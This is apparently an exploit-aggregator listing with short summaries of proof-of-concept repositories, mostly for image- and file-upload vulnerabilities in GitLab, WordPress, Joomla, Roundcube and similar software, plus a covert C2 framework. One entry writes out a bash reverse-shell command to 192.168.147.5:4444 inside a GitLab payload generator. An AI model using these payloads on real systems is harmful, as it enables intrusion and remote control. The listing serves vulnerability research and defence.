CVE-2021-22205

CVE-2021-22205 Preauth RCE via exiftool on Gitlab CE/EE Summary of the CVE GitLab uses ExifTool to scan every tiff/jpeg/jpg file to remove any tags that are not whitelisted. But because ExifTool doesn't use file extensions to determine filetype but it rather uses the content of the file, which...

QuickResponseC2

Capabilities - Usage - Demonstration - Workflow Overview - TODO QuickResponseC2 QuickResponseC2 is a stealthy Command and Control C2 framework that enables indirect and covert communication between the attacker and victim machines via an intermediate HTTP/S server. All network activity is...

CVE-2019-8943

CVE-2019-8943 WordPress 5.0.0 - Ejecución remota de código mediante imagen Exploit de CVE-2019-8942 y CVE-2019-8943 usando python : ExploitDB : https://www.exploit-db.com/exploits/49512 El exploit original para metasploit : WordPress Core 5.0.0 - Carga de shell mediante recorte de imagen Metasplo...

CVE-2019-16113-Dockerfile

Bludit目录穿越漏洞（CVE-2019--16113） Bludit-3.9.2 是轻量级 CMS，只需要 LAMP 环境便可运行。在图片上传时，Bludit检查文件后缀名后没有及时删除文件，攻击者还可以通过控制uuid参数实现目录穿越。具体参考 漏洞环境 执行如下命令编译镜像并启动Bludit容器 root@kitploit: cd Docker sudo docker build -t bludit:cve . 编译镜像 sudo docker run --name bludit -p 8000:80 -d bludit:cve 启动容器，服务在8000端口...

shining-mask

Shining Mask 破解 本仓库包含用于为 Shining LED 面具创建自定义蓝牙低功耗 BLE 控制器的代码和说明，该控制器会自动更改 BLE 范围内任何面具的面部图像。本仓库是 变脸入侵：蓝牙 LED 面具的万圣节恶作剧 的配套资源。 功能 自动连接 BLE 范围内的任何 Shining LED 面具并上传狐狸脸 脚本运行后无需任何用户交互 物料清单 Adafruit Feather nRF52840 Express 从技术上讲，任何支持 CircuitPython 且具备 BLE 功能的 Feather 开发板 都应该可用，但这是我们使用的型号。 任何适用于 Feathe...

CVE-2025-49113

CVE-2025-49113 – Roundcube Webmail RCE Exploit Python PoC CVE ID: CVE-2025-49113 Exploit Type: Remote Code Execution via PHP Object Injection Application: Roundcube Webmail ≤ 1.5.9 and ≤ 1.6.10 Exploit Language: Python Author: 00xCanelo Status: Tested and Working on Vulnerable Roundcube...

CVE-2021-23132

CVE-2021-23132 commedia 允许非预期的图片上传路径导致RCE。 CVE-2020-24597 commedia中的目录遍历导致RCE 两个CVE相同。 PoC（完整） 受影响版本：Joomla核心 =3.9.24 用户条件：管理员账户（非超级管理员） 获取访问权限：创建超级管理员，然后触发RCE。 Joomla中的远程代码执行（RCE） 用你的凭据运行 cve-2021-23132.py 并访问链接进行rce： http://target/templates/protostar/error.php?cmd=ls PoC: root@kitploit: python3...

cve-2022-44268

HackTheBox Pilgrimage 向けに調整されたエクスプロイト cve-2022-44268 を使用して、入力ファイル内のプロファイル値に入力ファイルリストからのファイル名を追加し、Burpsuite（既に含まれている）からの入力 request.req ファイルを使用して画像ファイルアップロードを更新し、各変更された画像をアップロードし、返された URL から返された画像をダウンロードしてファイルコンテンツを抽出し、それを入力ディレクトリに配置する自動 Python スクリプト。 root@kitploit: $ ./cve-2022-44268.py usage:...

PoC-RCE-Rukovoditel

PoC-RCE-Rukovoditel 针对 CVE-2020-11819 和 CVE-2020-15946 的概念验证。已在 Rukovoditel 2.4.x、2.5.x 和 2.6.1 上测试。 描述： 此漏洞利用工具有两种执行模式：一种是利用会话固定漏洞（CVE-2020-15946），另一种是利用任意配置文件下任意账户的访问凭据。 使用 --type L 选项时，该脚本会创建一个恶意链接，如果受害者在浏览器中访问该链接，将设置一个任意的会话标识符，用于在其头像上传带有 PHP 内容的图片后窃取其会话，然后利用本地文件包含（CVE-2020-11819）获得一个反向...

CVE-2021-43617

CVE-2021-43617 这是对 PHP Laravel 8.70.1 - 跨站脚本（XSS）到跨站请求伪造（CSRF）漏洞的复现 描述 该漏洞利用了我们可以绕过 Laravel 图片文件上传功能，在 Web 服务器上上传任意文件的事实，从而允许我们运行任意 JavaScript 并绕过 CSRF 令牌。 复现步骤： 创建一个 Laravel 8.7. 应用程序，其中包含上传图片文件的表单 创建一个 HTML 文件 csrfbypass.html，其中包含绕过表单 CSRF 令牌的利用代码。 使用 HxD 工具在文件开头添加 FF D8 FF E0（得到...

CVE-2025-54962

🔥 CVE-2025-54962 — OpenPLC Runtime Webserver 中的不安全文件上传 OpenPLC Runtime ≤ 2024-12-31 — 存储型 XSS、CSRF 📌 摘要 我发现 OpenPLC Runtime webserver（发布版本：2024-12-31）中存在一个漏洞，允许经过身份验证的用户将任意文件（例如 .html、.svg）作为头像上传。这些文件存储在 /static/ 目录中，并且可以在无需身份验证 的情况下访问，从而实现存储型 XSS 或恶意内容托管。 🧪 受影响组件 路由: /edit-user 受影响: 头像文件上传功能 ⚠️ 影...

thingsboard-ssrf-cve-2025-34282

CVE-2025-34282 — 通过 SVG 图片上传实现的 ThingsBoard SSRF 漏洞 概述 ThingsBoard IoT 平台 4.2.1 之前版本存在服务端请求伪造（SSRF）漏洞。 拥有租户管理员（Tenant Admin）权限的攻击者可以通过图片上传画廊（Image Upload Gallery）上传一个包含内部 URL 引用的恶意 SVG 文件。当 ThingsBoard 在服务端处理该 SVG 时，会请求所引用的 URL — 从而允许访问未暴露到互联网的内部服务。 字段| 详情 ---|--- CVE| CVE-2025-34282 受影响版本| 标签嵌入...

Pixel-Flood-Attack

Pixel Flood DoS - CVE-2024-22393 PoC Pixel Flood Bug for Web Servers A lightweight Proof-of-Concept to test for the Pixel Flood memory exhaustion vulnerability in web applications running vulnerable versions of Apache Answer. Table of Contents Description Technical Details Affected Versions...

RISE-Ultimate_Project_Manager_e_CRM

CVE-2025-3855 - RISE Ultimate Project Manager - IDOR 安全漏洞：IDOR（不安全的直接对象引用） 受影响组件：个人资料图片上传端点，teammembers 控制器 软件：RISE - Ultimate Project Manager & CRM 供应商：codecanyon 版本：3.8.2 CVE ORG : https://vulners.com/cve/CVE-2025-3855 NIST: https://nvd.nist.gov/vuln/detail/CVE-2025-3855 CVE DETAILS:...

CVE-2024-36057

CVE-2024-36057 — Koha 图书馆软件 CVE ID： CVE-2024-36057 产品： Koha 图书馆软件 漏洞类型： 操作系统命令注入 CWE-78 CVSS 评分： 8.7（高危）需认证 受影响版本： 低于 22.05.22 致谢： Karolis Narvilas 描述 Koha 是一个开源集成图书馆系统。在 tools/upload-cover-image.pl 的封面图片上传功能中存在命令注入漏洞。该应用程序使用 qx/unzip $filename -d $dirname/ 来解压上传的 ZIP 压缩包，但未对文件名参数进行清理。...

CVE-2026-11112-XXE-via-SVG-Image-Upload

CVE-2026-11112 – 通过 SVG 图片上传实现 XXE 程序代码（Python Flask + XML 解析器） root@kitploit: xxeuploadserver.py - Uploads SVG, renders with lxml resolving entities from flask import Flask, request from lxml import etree app = Flaskname @app.route'/upload', methods='POST' def uploadsvg: svgdata = request.data...

smart-sketcher-upload

smART Sketcher 2.0 - 蓝牙认证绕过 CVE-2026-0842 | BLE 接口缺少认证 概述 smART Sketcher 2.0 是一款支持蓝牙的玩具投影仪，可让儿童描摹图像。其蓝牙连接没有任何认证机制——范围内的任何人都可以连接并向设备推送图像，无需配对或通知。 演示 问题 设备通过蓝牙广播为“smART Sketcher 2.0” 连接无需配对 发送命令或图像无需认证 有人连接时无任何通知 30 英尺（约 9 米）外即可生效 这意味着公寓楼、公园或公共空间中的任何人都可以在家长不知情的情况下向儿童玩具推送内容。 使用方法 root@kitploit: pip...

-CVE-2026-1657

CVE-2026-1657 CVE-2026-1657 漏洞利用：通过 'epuploadfilemedia' AJAX 端点进行未认证图片上传 使用方法 python3 ./CVE-2026-1657.py https://site.com/ labrat.jpeg...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell 测试版本 构造生成漏洞利用的命令 root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh 利用djvumake生成漏洞利用的图片 root@kitploit: import os payloads= "echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh",...

Gitlab-CVE-2021-22205

Unauthenticated RCE on Gitlab version 13.10.3 Unauthenticated RCE exploit for gitlab version 13.10.3 For educational/research purpose only. Use at your own risk Root cause: When uploading image files, Gitlab Workhorse passes any files with the extensions jpg|jpeg|tiff through to ExifTool to remov...